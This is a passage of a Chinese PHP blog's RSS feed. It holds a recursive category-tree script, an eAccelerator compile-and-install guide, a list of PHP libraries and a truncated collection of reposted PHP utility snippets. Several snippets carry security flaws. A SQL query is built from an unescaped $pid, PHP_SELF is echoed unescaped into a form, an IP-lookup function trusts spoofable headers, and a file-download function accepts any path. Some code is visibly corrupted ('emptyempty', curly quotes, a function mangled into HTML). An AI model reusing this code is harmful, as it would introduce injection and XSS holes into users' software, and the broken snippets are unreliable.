<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $(&quot;#btn&quot;+cid).val(&quot;查看子分类&quot;);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }else{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $(&quot;.dd&quot;+cid).css(&quot;display&quot;, &quot;block&quot;);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $(&quot;#btn&quot;+cid).val(&quot;收起子分类&quot;);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;/script&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt; ?php</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; //debug</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $lastLev = 0;//上一个分类的层级</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $classArr = array();//div的class数组，按层级计算</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; foreach($okArr as $row) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;div &quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; if($row['lev'] &gt; $lastLev){//debug</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $classArr[$row['pid']] = 1;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }elseif($row['lev'] &lt; = $lastLev) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for($i=0;$i&lt;($lastLev - $row['lev']);$i++) {//关键*减去当前层级与上一次层级间的多余class</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; array_pop($classArr);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; echo &quot; class='dd&quot;.str_replace(&quot; &quot;, &quot; dd&quot;, implode(&quot; &quot;, array_keys($classArr))).&quot;' &quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; $lastLev = $row['lev'];</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; if($row['lev'] != 1) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;style='display:none;'&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&gt;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; //多层级的占位符</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; for($i=1;$i&lt; $row['lev'];$i++) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;　&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; echo $row['cname'].',lev:'.$row['lev'];</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;　　&lt;a href='&quot;.$_SERVER['PHP_SELF'].&quot;?act=edit&amp;cid=&quot;.$row['cid'].&quot;' style='font-size:12px;color:red;'&gt;编辑&quot;;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;　&lt;input type='button' id='btn&quot;.$row['cid'].&quot;' onclick='display(&quot;.$row['cid'].&quot;);' value='查看子分类'/&gt;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; echo &quot;&lt;hr /&gt;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; echo &quot;&lt;h4&gt;创建新分类&lt;/h4&gt;&quot;;</span></li>
<li><span style="color: Gray;">?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;form method=&quot;post&quot; action=&quot;</span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">echo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_SERVER</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">PHP_SELF</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span><span style="color: Blue;">?&gt;</span><span style="color: Gray;">?act=insert&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; 分类名：&lt;input type=&quot;text&quot; name=&quot;cname&quot;/&gt;&lt;br /&gt;&lt;br /&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; 所属分类：&lt;select name=&quot;cid&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;option value=&quot;0&quot;&gt;根目录&lt;/option&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt; ?php</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach($okArr as $row) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;option value='&quot;.$row['cid'].&quot;'&gt;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for($i=1;$i&lt; $row['lev'];$i++) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;　&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo $row['cname'];</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;/option&gt;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt;/select&gt;&lt;br /&gt;&lt;br /&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt;input type=&quot;submit&quot; name=&quot;提交&quot;/&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;/form&gt;</span></li>
<li><span style="color: Gray;">&lt; ?php</span></li>
<li><span style="color: Gray;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">function getCat($pid) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; global $okArr, $n;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $sql = &quot;select * from cat where pid='$pid'&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $res = mysql_query($sql);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; while($row = @mysql_fetch_assoc($res)) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; if(!empty($row)) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $okArr[] = $row;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getCat($row['cid']);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">}</span></li></ol></div>
<p></coolcode></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/504.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux环境下编译安装eAccelerator</title>
		<link>http://www.dayu.name/p/494.html</link>
		<comments>http://www.dayu.name/p/494.html#comments</comments>
		<pubDate>Tue, 16 Feb 2010 06:04:09 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=494</guid>
		<description><![CDATA[eAccelerator在linux下安装需要编译，最新的0.9.6版本还有个bug需要先修正。 1、下载后解压 #tar xjvf eaccelerator-0.9.6.tar.bz2 1.1、修正Bug 下载eaccelerator 0.9.6后先不要安装，解包后找到eaccelerator.c这个文件，打开第1156行，这样的： if (PG(open_basedir) &#38;&#38; php_check_open_basedir(realname TSRMLS_CC)) { 修改成： if (PG(open_basedir) &#38;&#38; php_check_open_basedir(file_handle-&#62;filename TSRMLS_CC)) { 1.2、编译 #export PHP_PREFIX=&#8221;/data/amp/php/&#8221; #$PHP_PREFIX/bin/phpize Configuring for: PHP Api Version:         20090626 Zend Module Api No:      20090626 Zend Extension Api No:   220090626 #./configure &#8211;enable-eaccelerator=shared &#8211;with-php-config=$PHP_PREFIX/bin/php-config #make 2、安装 #make install Installing shared extensions:     /data/amp/php/lib/php/extensions/no-debug-non-zts-20090626/ 3、配置php.ini，安装为php的extension模块 [eaccelerator] extension=&#8221;/data/amp/php/lib/php/extensions/no-debug-non-zts-20090626/eaccelerator.so&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>eAccelerator在linux下安装需要编译，最新的0.9.6版本还有个bug需要先修正。<span id="more-494"></span></p>
<h2>1、下载后解压</h2>
<p>#tar xjvf eaccelerator-0.9.6.tar.bz2</p>
<h3>1.1、修正Bug</h3>
<p>下载eaccelerator 0.9.6后先不要安装，解包后找到eaccelerator.c这个文件，打开第1156行，这样的：<br />
<code>if (PG(open_basedir) &amp;&amp; php_check_open_basedir(realname TSRMLS_CC)) {</code><br />
修改成：<br />
<code>if (PG(open_basedir) &amp;&amp; php_check_open_basedir(file_handle-&gt;filename TSRMLS_CC)) {</code></p>
<h3>1.2、编译</h3>
<p>#export PHP_PREFIX=&#8221;/data/amp/php/&#8221;<br />
#$PHP_PREFIX/bin/phpize<br />
Configuring for:<br />
PHP Api Version:         20090626<br />
Zend Module Api No:      20090626<br />
Zend Extension Api No:   220090626<br />
#./configure &#8211;enable-eaccelerator=shared &#8211;with-php-config=$PHP_PREFIX/bin/php-config<br />
#make</p>
<h2>2、安装</h2>
<p>#make install<br />
Installing shared extensions:     /data/amp/php/lib/php/extensions/no-debug-non-zts-20090626/</p>
<h2>3、配置php.ini，安装为php的extension模块</h2>
<p>[eaccelerator]<br />
extension=&#8221;/data/amp/php/lib/php/extensions/no-debug-non-zts-20090626/eaccelerator.so&#8221;<br />
eaccelerator.shm_size=&#8221;32&#8243;<br />
eaccelerator.cache_dir=&#8221;/tmp/eaccelerator&#8221;<br />
eaccelerator.enable=&#8221;1&#8243;<br />
eaccelerator.optimizer=&#8221;1&#8243;<br />
eaccelerator.check_mtime=&#8221;1&#8243;<br />
eaccelerator.debug=&#8221;0&#8243;<br />
eaccelerator.filter=&#8221;"<br />
eaccelerator.shm_max=&#8221;0&#8243;<br />
eaccelerator.shm_ttl=&#8221;0&#8243;<br />
eaccelerator.shm_prune_period=&#8221;0&#8243;<br />
eaccelerator.shm_only=&#8221;0&#8243;<br />
eaccelerator.compress=&#8221;1&#8243;<br />
eaccelerator.compress_level=&#8221;9&#8243;</p>
<h2>4、创建cache目录</h2>
<p>#mkdir /tmp/eaccelerator<br />
#chmod 0777 /tmp/eaccelerator</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/494.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZT:9个PHP库简介和下载</title>
		<link>http://www.dayu.name/p/471.html</link>
		<comments>http://www.dayu.name/p/471.html#comments</comments>
		<pubDate>Sun, 31 Jan 2010 13:04:59 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=471</guid>
		<description><![CDATA[9个非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。 1. ReCAPTCHA The reCAPTCHA 库让你可以为网站创建高级的 CAPTCHA 系统，这个系统其实是用来生成验证信息的，甚至包括语音验证。当然还有 reCAPTCHA 服务可以使用，其提供易用的免费 API，值得在你的网站试试。 下载 ReCAPTCHA &#124; 获得 API Key &#124; 文档 2. Akismet Akismet 是个供小站点使用的免费服务，用来修改规范将加入数据库的评论（防止恶意评论）。这个库一直在改善。 详细参考 Akismet 介绍 3. Services_JSON JSON 是人类能容易理解的信息传递格式。不过如果你并未使用 5.2.0 以后版本的 PHP（从那以后 PHP 有了 JSON 官方支持），那么就应该试试这个库。 查看 Services_JSON 4. Smarty Smarty就是鼎鼎大名的官方模版库了。它提供了不少有用的功能。其实使用 PHP 的人都该瞧瞧。 下载 Smarty &#124; 官方文档 5. pChart pChart 是极其有名的数据图形库。它能为数据展示提供各种美丽的图表。其实使用 PHP 的人都一定会碰到使用它的情况。 下载 [...]]]></description>
			<content:encoded><![CDATA[<p>9个非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。<span id="more-471"></span></p>
<h3>1. ReCAPTCHA</h3>
<p><a href="http://recaptcha.net/plugins/php/" target="_blank">The reCAPTCHA</a> 库让你可以为网站创建高级的 CAPTCHA 系统，这个系统其实是用来生成验证信息的，甚至包括语音验证。当然还有 reCAPTCHA 服务可以使用，其提供易用的免费 API，值得在你的网站试试。</p>
<p><a href="http://code.google.com/p/recaptcha/downloads/list?q=label:phplib-Latest" target="_blank">下载 ReCAPTCHA</a> | <a href="http://recaptcha.net/api/getkey?app=php" target="_blank">获得 API Key</a> | <a href="http://recaptcha.net/plugins/php/" target="_blank">文档</a></p>
<h3>2. Akismet</h3>
<p><a href="http://akismet.com/" target="_blank">Akismet</a> 是个供小站点使用的免费服务，用来修改规范将加入数据库的评论（防止恶意评论）。这个库一直在改善。</p>
<p><a href="http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/" target="_blank">详细参考 Akismet 介绍</a></p>
<h3>3. Services_JSON</h3>
<p>JSON 是人类能容易理解的信息传递格式。不过如果你并未使用 5.2.0 以后版本的 PHP（从那以后 PHP 有了 JSON 官方支持），那么就应该试试这个库。</p>
<p><a href="http://pear.php.net/package/Services_JSON" target="_blank">查看 Services_JSON</a></p>
<h3>4. Smarty</h3>
<p><a href="http://smarty.net/" target="_blank">Smarty</a>就是鼎鼎大名的官方模版库了。它提供了不少有用的功能。其实使用 PHP 的人都该瞧瞧。</p>
<p><a href="http://smarty.net/download.php" target="_blank">下载 Smarty</a> | <a href="http://smarty.net/docs.php" target="_blank">官方文档</a></p>
<h3>5. pChart</h3>
<p><a href="http://pchart.sourceforge.net/index.php" target="_blank">pChart</a> 是极其有名的数据图形库。它能为数据展示提供各种美丽的图表。其实使用 PHP 的人都一定会碰到使用它的情况。</p>
<p><a href="http://pchart.sourceforge.net/download.php" target="_blank">下载 pChart</a> | <a href="http://pchart.sourceforge.net/documentation.php" target="_blank">文档</a>| <a href="http://pchart.sourceforge.net/demo.php" target="_blank">查看演示</a></p>
<h3>6. SimplePie</h3>
<p><a href="http://simplepie.org/" target="_blank">SimplePie</a> 让你轻松提取内容（好比 RSS feeds）。它能和多种语言交互，也能处理各种格式的 feed。</p>
<p><a href="http://simplepie.org/downloads/" target="_blank">下载 SimplePie</a> | <a href="http://simplepie.org/wiki/" target="_blank">查看文档</a>| <a href="http://net.tutsplus.com/videos/screencasts/extending-simplepie-to-parse-unique-rss-feeds/" target="_blank">为独特的 RSS Feeds 拓展 SimplePie </a></p>
<h3>7. XML-RPC PHP Library</h3>
<p>有时你需要使用 XML-RPC 技术去和其他网站交互，那么试试这个 <a href="http://phpxmlrpc.sourceforge.net/" target="_blank">XML-RPC PHP</a> 库吧。</p>
<p><a href="http://phpxmlrpc.sourceforge.net/#download" target="_blank">下载 XML-RPC PHP</a> | <a href="http://phpxmlrpc.sourceforge.net/#interest" target="_blank">查看文档</a></p>
<h3>8. Amazon S3</h3>
<p>Amazon 有名的云计算平台叫做 “S3″。这里就有<a href="http://undesigned.org.za/2007/10/22/amazon-s3-php-class" target="_blank">Amazon S3 库</a> 让你不用任何附加工具就可以使用云，上传大量数据文件。</p>
<p><a href="http://amazon-s3-php-class.googlecode.com/files/s3-php5-curl_0.3.9.tar.gz" target="_blank">下载 Amazon S3 PHP Class</a></p>
<h3>9. PHPMailer</h3>
<p>大多数 web 应用都在使用 PHP 的 mail() 函数。PHPMailer 让你更加灵活地处理 Email 的发出，不但支持任何格式，还可以加入附件并自定义 header。</p>
<p><a href="http://phpmailer.codeworxtech.com/index.php?pg=sf&amp;p=dl" target="_blank">下载 PHPMailer</a> | <a href="http://phpmailer.codeworxtech.com/index.php?pg=tutorial" target="_blank">查看文档</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/471.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZT：21个实用便利的PHP代码</title>
		<link>http://www.dayu.name/p/464.html</link>
		<comments>http://www.dayu.name/p/464.html#comments</comments>
		<pubDate>Fri, 29 Jan 2010 14:52:51 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=464</guid>
		<description><![CDATA[这是转帖的，内容不错。细细查看吧，总有一款适合你！ 1. PHP可阅读随机字符串 此代码将创建一个可阅读的字符串，使其更接近词典中的单词，实用且具有密码验证功能。 /************** *@length &#8211; length of random string (must be a multiple of 2) **************/ function readable_random_string($length = 6){ $conso=array(&#8220;b&#8221;,&#8221;c&#8221;,&#8221;d&#8221;,&#8221;f&#8221;,&#8221;g&#8221;,&#8221;h&#8221;,&#8221;j&#8221;,&#8221;k&#8221;,&#8221;l&#8221;, &#8220;m&#8221;,&#8221;n&#8221;,&#8221;p&#8221;,&#8221;r&#8221;,&#8221;s&#8221;,&#8221;t&#8221;,&#8221;v&#8221;,&#8221;w&#8221;,&#8221;x&#8221;,&#8221;y&#8221;,&#8221;z&#8221;); $vocal=array(&#8220;a&#8221;,&#8221;e&#8221;,&#8221;i&#8221;,&#8221;o&#8221;,&#8221;u&#8221;); $password=&#8221;"; srand ((double)microtime()*1000000); $max = $length/2; for($i=1; $i&#60; =$max; $i++) { $password.=$conso[rand(0,19)]; $password.=$vocal[rand(0,4)]; } return $password; } 2. PHP生成一个随机字符串 如果不需要可阅读的字符串，使用此函数替代，即可创建一个随机字符串，作为用户的随机密码等。 /************* *@l &#8211; length of random string */ function generate_rand($l){ [...]]]></description>
			<content:encoded><![CDATA[<p>这是转帖的，内容不错。细细查看吧，总有一款适合你！<span id="more-464"></span></p>
<p><strong>1. PHP可阅读随机字符串</strong><br />
此代码将创建一个可阅读的字符串，使其更接近词典中的单词，实用且具有密码验证功能。<br />
/**************<br />
*@length &#8211; length of random string (must be a multiple of 2)<br />
**************/<br />
function readable_random_string($length = 6){<br />
$conso=array(&#8220;b&#8221;,&#8221;c&#8221;,&#8221;d&#8221;,&#8221;f&#8221;,&#8221;g&#8221;,&#8221;h&#8221;,&#8221;j&#8221;,&#8221;k&#8221;,&#8221;l&#8221;,<br />
&#8220;m&#8221;,&#8221;n&#8221;,&#8221;p&#8221;,&#8221;r&#8221;,&#8221;s&#8221;,&#8221;t&#8221;,&#8221;v&#8221;,&#8221;w&#8221;,&#8221;x&#8221;,&#8221;y&#8221;,&#8221;z&#8221;);<br />
$vocal=array(&#8220;a&#8221;,&#8221;e&#8221;,&#8221;i&#8221;,&#8221;o&#8221;,&#8221;u&#8221;);<br />
$password=&#8221;";<br />
srand ((double)microtime()*1000000);<br />
$max = $length/2;<br />
for($i=1; $i&lt; =$max; $i++)<br />
{<br />
$password.=$conso[rand(0,19)];<br />
$password.=$vocal[rand(0,4)];<br />
}<br />
return $password;<br />
}</p>
<p><strong>2. PHP生成一个随机字符串</strong><br />
如果不需要可阅读的字符串，使用此函数替代，即可创建一个随机字符串，作为用户的随机密码等。<br />
/*************<br />
*@l &#8211; length of random string<br />
*/<br />
function generate_rand($l){<br />
$c= &#8220;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&#8243;;<br />
srand((double)microtime()*1000000);<br />
for($i=0; $i&lt; $l; $i++) {<br />
$rand.= $c[rand()%strlen($c)];<br />
}<br />
return $rand;<br />
}</p>
<p><strong>3. PHP编码电子邮件地址</strong><br />
使用此代码，可以将任何电子邮件地址编码为 html 字符实体，以防止被垃圾邮件程序收集。<br />
function encode_email($email=&#8217;info@domain.com&#8217;, $linkText=&#8217;Contact Us&#8217;, $attrs =&#8217;class=&#8221;emailencoder&#8221;&#8216; )<br />
{<br />
// remplazar aroba y puntos<br />
$email = str_replace(&#8216;@&#8217;, &#8216;@&#8217;, $email);<br />
$email = str_replace(&#8216;.&#8217;, &#8216;.&#8217;, $email);<br />
$email = str_split($email, 5);</p>
<p>$linkText = str_replace(&#8216;@&#8217;, &#8216;@&#8217;, $linkText);<br />
$linkText = str_replace(&#8216;.&#8217;, &#8216;.&#8217;, $linkText);<br />
$linkText = str_split($linkText, 5);</p>
<p>$part1 = &#8216;<a href="ma';&lt;br &gt;&lt;/a&gt;     $part2 = 'ilto:';&lt;br /&gt;     $part3 = '">&#8216;;<br />
$part4 = &#8216;</a>&#8216;;</p>
<p>$encoded = &#8216;<script type="text/javascript">// < ![CDATA[
';
    $encoded .= "document.write('$part1');";
    $encoded .= "document.write('$part2');";
    foreach($email as $e)
    {
            $encoded .= "document.write('$e');";
    }
    $encoded .= "document.write('$part3');";
    foreach($linkText as $l)
    {
            $encoded .= "document.write('$l');";
    }
    $encoded .= "document.write('$part4');";
    $encoded .= '
// ]]&gt;</script>&#8216;;</p>
<p>return $encoded;<br />
}</p>
<p><strong>4.PHP验证邮件地址</strong><br />
电子邮件验证也许是中最常用的网页表单验证，此代码除了验证电子邮件地址，也可以选择检查邮件域所属 DNS 中的 MX 记录，使邮件验证功能更加强大。<br />
function is_valid_email($email, $test_mx = false)<br />
{<br />
if(eregi(&#8220;^([_a-z0-9-]+)(\.[_a-z0-9-]+)*@([a-z0-9-]+)(\.[a-z0-9-]+)*(\.[a-z]{2,4})$&#8221;, $email))<br />
if($test_mx)<br />
{<br />
list($username, $domain) = split(&#8220;@&#8221;, $email);<br />
return getmxrr($domain, $mxrecords);<br />
}<br />
else<br />
return true;<br />
else<br />
return false;<br />
}</p>
<p><strong>5. PHP列出目录内容</strong><br />
function list_files($dir)<br />
{<br />
if(is_dir($dir))<br />
{<br />
if($handle = opendir($dir))<br />
{<br />
while(($file = readdir($handle)) !== false)<br />
{<br />
if($file != &#8220;.&#8221; &amp;&amp; $file != &#8220;..&#8221; &amp;&amp; $file != &#8220;Thumbs.db&#8221;)<br />
{<br />
echo &#8216;<a href="'.$dir.$file.'" target="_blank">&#8216;.$file.&#8217;</a><br />
&#8216;.&#8221;\n&#8221;;<br />
}<br />
}<br />
closedir($handle);<br />
}<br />
}<br />
}</p>
<p><strong>6. PHP销毁目录</strong><br />
删除一个目录，包括它的内容。<br />
/*****<br />
*@dir &#8211; Directory to destroy<br />
*@virtual[optional]- whether a virtual directory<br />
*/<br />
function destroyDir($dir, $virtual = false)<br />
{<br />
$ds = DIRECTORY_SEPARATOR;<br />
$dir = $virtual ? realpath($dir) : $dir;<br />
$dir = substr($dir, -1) == $ds ? substr($dir, 0, -1) : $dir;<br />
if (is_dir($dir) &amp;&amp; $handle = opendir($dir))<br />
{<br />
while ($file = readdir($handle))<br />
{<br />
if ($file == &#8216;.&#8217; || $file == &#8216;..&#8217;)<br />
{<br />
continue;<br />
}<br />
elseif (is_dir($dir.$ds.$file))<br />
{<br />
destroyDir($dir.$ds.$file);<br />
}<br />
else<br />
{<br />
unlink($dir.$ds.$file);<br />
}<br />
}<br />
closedir($handle);<br />
rmdir($dir);<br />
return true;<br />
}<br />
else<br />
{<br />
return false;<br />
}<br />
}</p>
<p><strong>7. PHP解析 JSON 数据</strong><br />
与大多数流行的 Web 服务如 twitter 通过开放 API 来提供数据一样，它总是能够知道如何解析 API 数据的各种传送格式，包括 JSON，XML 等等。<br />
$json_string=&#8217;{&#8220;id&#8221;:1,&#8221;name&#8221;:&#8221;foo&#8221;,&#8221;email&#8221;:&#8221;foo@foobar.com&#8221;,&#8221;interest&#8221;:["wordpress","php"]} &#8216;;<br />
$obj=json_decode($json_string);<br />
echo $obj-&gt;name; //prints foo<br />
echo $obj-&gt;interest[1]; //prints php</p>
<p><strong>8. PHP解析 XML 数据</strong></p>
<p>//xml string<br />
$xml_string=&#8221;&lt; ?xml version=&#8217;1.0&#8242;?&gt;</p>
<p>Foo<br />
foo@bar.com</p>
<p>Foobar<br />
foobar@foo.com</p>
<p>&#8220;;</p>
<p>//load the xml string using simplexml<br />
$xml = simplexml_load_string($xml_string);</p>
<p>//loop through the each node of user<br />
foreach ($xml-&gt;user as $user)<br />
{<br />
//access attribute<br />
echo $user['id'], &#8216;  &#8216;;<br />
//subnodes are accessed by -&gt; operator<br />
echo $user-&gt;name, &#8216;  &#8216;;<br />
echo $user-&gt;email, &#8216;<br />
&#8216;;<br />
}</p>
<p><strong>9. PHP创建日志缩略名</strong><br />
function create_slug($string){<br />
$slug=preg_replace(&#8216;/[^A-Za-z0-9-]+/&#8217;, &#8216;-&#8217;, $string);<br />
return $slug;<br />
}</p>
<p><strong>10. PHP获取客户端真实 IP 地址</strong><br />
该函数将获取用户的真实 IP 地址，即便他使用代理服务器。<br />
function getRealIpAddr()<br />
{<br />
if (!emptyempty($_SERVER['HTTP_CLIENT_IP']))<br />
{<br />
$ip=$_SERVER['HTTP_CLIENT_IP'];<br />
}<br />
elseif (!emptyempty($_SERVER['HTTP_X_FORWARDED_FOR']))<br />
//to check ip is pass from proxy<br />
{<br />
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];<br />
}<br />
else<br />
{<br />
$ip=$_SERVER['REMOTE_ADDR'];<br />
}<br />
return $ip;<br />
}</p>
<p><strong>11. PHP强制性文件下载</strong><br />
为用户提供强制性的文件下载功能。<br />
/********************<br />
*@file &#8211; path to file<br />
*/<br />
function force_download($file)<br />
{<br />
if ((isset($file))&amp;&amp;(file_exists($file))) {<br />
header(&#8220;Content-length: &#8220;.filesize($file));<br />
header(&#8216;Content-Type: application/octet-stream&#8217;);<br />
header(&#8216;Content-Disposition: attachment; filename=&#8221;&#8216; . $file . &#8216;&#8221;&#8216;);<br />
readfile(&#8220;$file&#8221;);<br />
} else {<br />
echo &#8220;No file selected&#8221;;<br />
}<br />
}</p>
<p><strong>12. PHP创建标签云</strong><br />
function getCloud( $data = array(), $minFontSize = 12, $maxFontSize = 30 )<br />
{<br />
$minimumCount = min( array_values( $data ) );<br />
$maximumCount = max( array_values( $data ) );<br />
$spread       = $maximumCount &#8211; $minimumCount;<br />
$cloudHTML    = &#8221;;<br />
$cloudTags    = array();</p>
<p>$spread == 0 &amp;&amp; $spread = 1;</p>
<p>foreach( $data as $tag =&gt; $count )<br />
{<br />
$size = $minFontSize + ( $count &#8211; $minimumCount )<br />
* ( $maxFontSize &#8211; $minFontSize ) / $spread;<br />
$cloudTags[] = &#8216;<a title="\'' . $tag  .&lt;br /&gt;         '\' returned a count of ' . $count . '" href="#">&#8216;<br />
. htmlspecialchars( stripslashes( $tag ) ) . &#8216;</a>&#8216;;<br />
}</p>
<p>return join( &#8220;\n&#8221;, $cloudTags ) . &#8220;\n&#8221;;<br />
}<br />
/**************************<br />
****   Sample usage    ***/<br />
$arr = Array(&#8216;Actionscript&#8217; =&gt; 35, &#8216;Adobe&#8217; =&gt; 22, &#8216;Array&#8217; =&gt; 44, &#8216;Background&#8217; =&gt; 43,<br />
